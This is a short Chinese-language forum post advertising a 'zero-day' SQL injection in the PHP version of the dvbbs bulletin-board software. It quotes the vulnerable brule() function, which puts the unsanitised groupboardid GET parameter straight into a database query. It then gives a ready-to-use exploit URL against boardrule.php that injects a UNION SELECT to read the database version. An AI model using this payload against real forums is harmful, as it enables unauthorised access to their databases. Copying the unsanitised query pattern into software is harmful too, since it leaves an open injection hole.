dvbbs之PHP版本0daydvbbs之PHP版本0day
dvbbs之PHP版本0day
复制内容到剪贴板代码:
function brule() {
global $dv,$db,$boardid,$lang,$groupboardid;
$groupboardid=$_GET['groupboardid'];
if(!empty($_GET['groupboardid'])){
$rules=$db->scalar("select rules from {$dv}group_board where id={$groupboardid}");
}
else{
$rules=$db->scalar("select rules from {$dv}board where boardid={$boardid}");
}直接获得变量groupboardid，不为空就直接带入查询导致注入。复制内容到剪贴板代码:
http://dvbbsroot/boardrule.php?groupboardid=111111111/**/union/**/select/**/version()/*
